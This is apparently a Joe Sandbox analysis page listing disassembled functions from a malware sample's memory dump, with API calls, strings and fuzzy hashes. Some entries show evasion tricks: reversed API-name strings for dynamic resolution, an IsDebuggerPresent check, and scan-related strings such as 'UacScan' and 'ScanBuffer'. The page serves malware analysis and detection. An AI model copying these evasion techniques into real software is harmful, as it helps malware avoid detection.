Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: 3b9c99411079d94161202a36cac2dccca9e9d0c9eddd0d93515469b0ae116070
Instruction ID: c962fd0aae280dee3e1595caafe2af9485ec16a94ee633f00be75f13d8922567
Opcode Fuzzy Hash: 3b9c99411079d94161202a36cac2dccca9e9d0c9eddd0d93515469b0ae116070
Instruction Fuzzy Hash: 163162BD680209BBEB14DF6CCC95F5A77A8AF04768F044510FA58DF281EB34E940CBA5

Function 0283432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028343F3,?,?,028917C8,?,?,0285E7A8,0283655D,0285D30D), ref: 02834365
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028343F3,?,?,028917C8,?,?,0285E7A8,0283655D,0285D30D), ref: 0283436B
GetStdHandle.KERNEL32(000000F5,028343B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028343F3,?,?,028917C8), ref: 02834380
WriteFile.KERNEL32(00000000,000000F5,028343B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028343F3,?,?), ref: 02834386
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 028343A4

Strings

Runtime error at 00000000, xrefs: 0283435E, 0283439D
Error, xrefs: 02834398

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 5bd001a549db5c2d8d55a62a0dc473c2750efabe17ea7081d5f4ff51a9cfeb51
Instruction ID: 1d7e8d07438f12b6587c0b80b67c70ffce2d67df4495449314c474dead214a81
Opcode Fuzzy Hash: 5bd001a549db5c2d8d55a62a0dc473c2750efabe17ea7081d5f4ff51a9cfeb51
Instruction Fuzzy Hash: 99F0906DAC434479FA12B768AC09F9D275C5B54F25F584A05B728E54C087F890C48BE7

Function 0283AE44 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0283ACBC: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0283ACD9
Part of subcall function 0283ACBC: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0283ACFD
Part of subcall function 0283ACBC: GetModuleFileNameA.KERNEL32(02830000,?,00000105), ref: 0283AD18
Part of subcall function 0283ACBC: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0283ADAE

CharToOemA.USER32(?,?), ref: 0283AE7B
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 0283AE98
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0283AE9E
GetStdHandle.KERNEL32(000000F4,0283AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0283AEB3
WriteFile.KERNEL32(00000000,000000F4,0283AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0283AEB9
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 0283AEDB
MessageBoxA.USER32(00000000,?,?,00002010), ref: 0283AEF1

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: afe93563a03406f422ba4acc5b057d4042c93e41bf501da6c982710ef8a03ccb
Instruction ID: 4a3197cbefb70b90d94adffd76d8d8ed89f386ef7dab874561a2b4aef9602cc2
Opcode Fuzzy Hash: afe93563a03406f422ba4acc5b057d4042c93e41bf501da6c982710ef8a03ccb
Instruction Fuzzy Hash: 201170BE5482047AD202EBACCC84F9B77EDAB44340F400A19B794D61D0EA74E9448BAB

Function 0283E50C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0283E5A5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0283E5C1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0283E5FA
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0283E677
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0283E690
VariantCopy.OLEAUT32(?,00000000), ref: 0283E6C5

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: 2c879650c84341011691a20226c27d6524aee0beb2559d3f6bcac5042424fc10
Instruction ID: 42b550e251230eab46b49b95e46f6e735413850a7c84e6d6b3cc289f3b6de8d8
Opcode Fuzzy Hash: 2c879650c84341011691a20226c27d6524aee0beb2559d3f6bcac5042424fc10
Instruction Fuzzy Hash: BD51C67D9016299BCB22DB58CC80BD9B3BDAF4D304F0441D5EA09E7216DB70AF858FA5

Function 02833568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0283358A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,028335D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028335BD
RegCloseKey.ADVAPI32(?,028335E0,00000000,?,00000004,00000000,028335D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028335D3

Strings

FPUMaskValue, xrefs: 028335B4
SOFTWARE\Borland\Delphi\RTL, xrefs: 02833580

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 8029c029ec102b1befa72643de981d810a7b76d32686c9a9c6af198e7ea11170
Instruction ID: 78b604fdc220d0ef95323b7d7b2111dece82f12b08b17b776071228adc120f7e
Opcode Fuzzy Hash: 8029c029ec102b1befa72643de981d810a7b76d32686c9a9c6af198e7ea11170
Instruction Fuzzy Hash: F501B57E940318BAEB12DB90CD02BBD77ECEB08B10F1005A1FA04D6680F678A610DAD9

Function 028480C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
GetProcAddress.KERNEL32(?,?), ref: 02848125

Strings

Kernel32, xrefs: 02848108
sserddAcorPteG, xrefs: 028480DB

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: 21e491190d42c769f91ff813b7f8646dda5a3a90a9662783e9b74b9a3a2fbe63
Instruction ID: 139e6bc143e9c260f82f558c1ce89e81bbaa64bbb4400efd062b3039b4f526dc
Opcode Fuzzy Hash: 21e491190d42c769f91ff813b7f8646dda5a3a90a9662783e9b74b9a3a2fbe63
Instruction Fuzzy Hash: FF01D63CA4030CBFE702EFA8DC41E5EB7EEEB49710F514861F900D7750EA74A9049A55

Function 0283A9D0 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0283AA67,?,?,00000000), ref: 0283A9E8

Part of subcall function 0283A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0283A762

GetThreadLocale.KERNEL32(00000000,00000004,00000000,0283AA67,?,?,00000000), ref: 0283AA18
EnumCalendarInfoA.KERNEL32(Function_0000A91C,00000000,00000000,00000004), ref: 0283AA23
GetThreadLocale.KERNEL32(00000000,00000003,00000000,0283AA67,?,?,00000000), ref: 0283AA41
EnumCalendarInfoA.KERNEL32(Function_0000A958,00000000,00000000,00000003), ref: 0283AA4C

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 468659517f86cf699f5d64ac607519424982c3c2ece26d701e343c43a86e1017
Instruction ID: d3277bc07c2ae7c756282dcc93a56606d996781d509a7f3141352ba08af41cc3
Opcode Fuzzy Hash: 468659517f86cf699f5d64ac607519424982c3c2ece26d701e343c43a86e1017
Instruction Fuzzy Hash: 3101F73E2402587BF707AA6C8D12B6E735DDB46720F910160F650E67C0F5689E104AEA

Function 0283AA80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0283AC50,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0283AAAF

Part of subcall function 0283A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0283A762

Strings

yyyy, xrefs: 0283ABA5
ggg, xrefs: 0283AB95
eeee, xrefs: 0283ABBE

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: d42a75b40a21166ed54712400ea7d2e8aafe7ead209f4e38ca6cba1cdaa7b832
Instruction ID: b293307f6341923b85d59b680b55dafad397cfeba315bff1dbb76c2256532b16
Opcode Fuzzy Hash: d42a75b40a21166ed54712400ea7d2e8aafe7ead209f4e38ca6cba1cdaa7b832
Instruction Fuzzy Hash: D141F23D70410D4BEB0BEB6D88802BEB3EBDB85204B544565E5E2C7345EA78DD068AE2

Function 02848018 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02848088,?,?,00000000,?,028479FE,ntdll,00000000,00000000,02847A43,?,?,00000000), ref: 02848056

Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125

GetModuleHandleA.KERNELBASE(?), ref: 0284806A

Strings

AeldnaHeludoMteG, xrefs: 02848031
KernelBASE, xrefs: 02848051

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: 45aff55734558023b07df459618f5e5fdeccb9dd65ea3a8885e20a8de899e916
Instruction ID: 23cd1befa68ccf743333046da1168b38d206a5e033b7dcc7e82752d224696367
Opcode Fuzzy Hash: 45aff55734558023b07df459618f5e5fdeccb9dd65ea3a8885e20a8de899e916
Instruction Fuzzy Hash: 06F0963D65030CBFE701EFA8DC4295E77ADF7497407554520F900D3614EB74BD04AA96

Function 0284EFC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,0284F3CC,UacInitialize,0289237C,0285B40C,UacScan,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanString), ref: 0284EFCE
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0284EFE0

Strings

IsDebuggerPresent, xrefs: 0284EFDA
KernelBase, xrefs: 0284EFC9

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: 4f085b21190c85c3069a4855c3e4b078e65b8435c32331d2078a95bad05cd32a
Instruction ID: 0b040f89994ff112f829df2f19b9f67be08c70d5e06c72372cb54f72030b4774
Opcode Fuzzy Hash: 4f085b21190c85c3069a4855c3e4b078e65b8435c32331d2078a95bad05cd32a
Instruction Fuzzy Hash: 35D0226E3003342FB90033FC0CC080D024C8A440697200F61B022C11D3FE6B88111004

Function 0283C3F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0285D10B,00000000,0285D11E), ref: 0283C3FA
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 0283C40B

Strings

GetDiskFreeSpaceExA, xrefs: 0283C405
kernel32.dll, xrefs: 0283C3F5

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 220ecbc1d35817a32f497969990ab2018a4fb934fc8f80ea6356dd9a67de7823
Instruction ID: 43bfc7b2f62c0d11b1728e9ddaeca47d2b8f38a9058006a4bb3edcf14c562e37
Opcode Fuzzy Hash: 220ecbc1d35817a32f497969990ab2018a4fb934fc8f80ea6356dd9a67de7823
Instruction Fuzzy Hash: FCD05EADA403205AFB036BB96C8163636889704366B00D826E005E5242E7BD84148FD4

Function 0283E168 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0283E217
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0283E233
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0283E2AA
VariantClear.OLEAUT32(?), ref: 0283E2D3

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 940c224ce8483e8f9faab1adeb11ae13dbe38e17e9d21f01d9f85f706582b477
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 2441D57DA016299BCB62DB58CC90BD9B3BDBF49614F0041D5EA49E7211DA34AF808FA1

Function 0283ACBC Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0283ACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0283ACFD
GetModuleFileNameA.KERNEL32(02830000,?,00000105), ref: 0283AD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0283ADAE

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 3a3b01d9e6222236c4b4a15a037544bb06613c038b5160339b8e8530bd0de0ba
Instruction ID: e2ed8f955b843310bd5f62ca5bf324404640990331edbcdce4b4941a1b7c66a5
Opcode Fuzzy Hash: 3a3b01d9e6222236c4b4a15a037544bb06613c038b5160339b8e8530bd0de0ba
Instruction Fuzzy Hash: 36412D7CA002589BDB22DB68CC84BDAB7FDAB08301F0440E5A548E7341DB75AF888F95

Function 0283ACBA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0283ACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0283ACFD
GetModuleFileNameA.KERNEL32(02830000,?,00000105), ref: 0283AD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0283ADAE

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 1287e048a0fcba6c86fa2ff0a41d9adbea1c2e72a84a5df8ccf5085259a8f64f
Instruction ID: 0520d68f66eae8af21883d99d7359051c23542f6b1b4dfc8020b263b66c477a5
Opcode Fuzzy Hash: 1287e048a0fcba6c86fa2ff0a41d9adbea1c2e72a84a5df8ccf5085259a8f64f
Instruction Fuzzy Hash: 5641317CA402589BDB22DB6CCC84BDAB7FDAB08301F0400E5A548E7351DB75AF888F95

Function 02831C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ac5157f766f3f2009f7f0dd1893fa83b6d9210a8130f9c34780e4a375229d55
Instruction ID: e231bfd603c0d1d0fdd4639ce62d88204460cad655ec7e39163dd6d45d004378
Opcode Fuzzy Hash: 5ac5157f766f3f2009f7f0dd1893fa83b6d9210a8130f9c34780e4a375229d55
Instruction Fuzzy Hash: 8CA1FA6E7106000BE71AAA7C9C883BDB3C2DBC5B25F18827EE11DCB785DB64C95687D1

Function 0283946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,0283955A), ref: 028394F2
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,0283955A), ref: 028394F8

Strings

yyyy, xrefs: 028394CD

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 420ad106ae45a5fb7abd4e1d79083036d44322cf8a4ce61c01c6c57b1f4f86b8
Instruction ID: 8f343cf6fd33cc17e6c9a5df87ff5ebcc78a590f26f68d4d4dfd36922198c997
Opcode Fuzzy Hash: 420ad106ae45a5fb7abd4e1d79083036d44322cf8a4ce61c01c6c57b1f4f86b8
Instruction Fuzzy Hash: 9D21627EA002189FDB12DF98C841AAE73B9EF08710F4140A5E949D7350D7B4DE40CBE6

Function 0284AD5C Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 0284AD90
IsBadWritePtr.KERNEL32(?,00000004), ref: 0284ADC0
IsBadReadPtr.KERNEL32(?,00000008), ref: 0284ADDF
IsBadReadPtr.KERNEL32(?,00000004), ref: 0284ADEB

Memory Dump Source

Source File: 00000000.00000002.3294263997.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true

Associated: 00000000.00000002.3294249587.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294322414.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294389115.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002987000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3294421340.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2830000_8e8JUOzOjR.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
